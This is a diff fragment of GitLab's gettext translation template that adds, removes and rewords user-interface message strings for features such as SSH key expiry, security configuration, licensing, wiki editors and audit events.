msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28525,6 +28261,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28576,10 +28318,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28612,6 +28351,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28663,6 +28405,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28747,9 +28492,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -28880,12 +28622,6 @@ msgstr[1] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28952,6 +28688,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28973,6 +28712,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28982,6 +28724,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29006,9 +28754,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29018,12 +28775,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29036,7 +28802,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29045,6 +28814,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29057,6 +28832,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29069,7 +28865,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29132,6 +28928,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29237,6 +29036,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29339,9 +29141,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29372,9 +29171,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29477,9 +29282,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29573,7 +29375,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29612,10 +29414,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29657,9 +29459,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29702,6 +29501,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29792,6 +29594,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29972,9 +29777,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29999,6 +29801,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30023,9 +29828,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30053,9 +29855,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30089,12 +29888,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30141,6 +29934,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30474,9 +30270,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30579,6 +30372,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30645,12 +30441,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30684,9 +30474,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -30729,9 +30516,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30783,6 +30567,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30801,6 +30588,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30903,15 +30693,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31128,12 +30909,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31152,7 +30939,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31182,6 +30969,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31269,6 +31059,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31278,9 +31071,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31635,6 +31425,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31653,7 +31446,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31725,9 +31524,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31740,7 +31536,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31788,7 +31584,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31803,7 +31599,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31812,10 +31608,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32007,6 +31803,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32362,7 +32161,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32371,6 +32170,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32380,6 +32182,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32413,9 +32218,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32449,7 +32251,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32479,6 +32281,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32553,6 +32358,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32574,15 +32382,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32667,18 +32475,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32742,9 +32544,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32763,10 +32562,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -32781,9 +32580,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -32793,9 +32589,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -32814,9 +32607,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32958,9 +32748,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33081,6 +32868,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33156,6 +32946,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33189,7 +32982,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33285,6 +33078,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33324,9 +33120,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33411,7 +33204,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34150,9 +33943,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34237,9 +34036,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34339,9 +34135,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34354,6 +34159,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34402,6 +34210,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -34881,12 +34698,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34977,21 +34788,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35127,9 +34923,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35466,9 +35259,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35598,6 +35397,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35895,9 +35697,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35907,9 +35706,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35991,9 +35796,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36079,6 +35881,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36097,9 +35902,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36133,6 +35935,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36202,7 +36007,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36343,7 +36151,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36475,6 +36283,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36775,6 +36586,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36784,6 +36604,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36984,7 +36807,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37005,6 +36828,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37020,16 +36846,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37044,10 +36870,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37317,6 +37149,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37356,9 +37191,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37536,21 +37368,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
